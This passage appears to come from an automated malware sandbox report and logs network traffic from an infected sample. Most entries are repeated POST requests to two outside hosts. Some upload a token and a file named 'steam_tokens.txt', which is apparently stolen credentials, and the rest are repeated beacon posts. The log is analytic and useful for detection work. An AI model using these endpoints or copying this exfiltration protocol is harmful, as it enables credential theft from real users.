5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file"------CBGCAFIIECBFIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: 85.28.47.70Content-Length: 114463Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBFHost: 85.28.47.70Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="message"jbdtaijovg------KFHJJJKKFHIDAAKFBFBF--
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000055001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
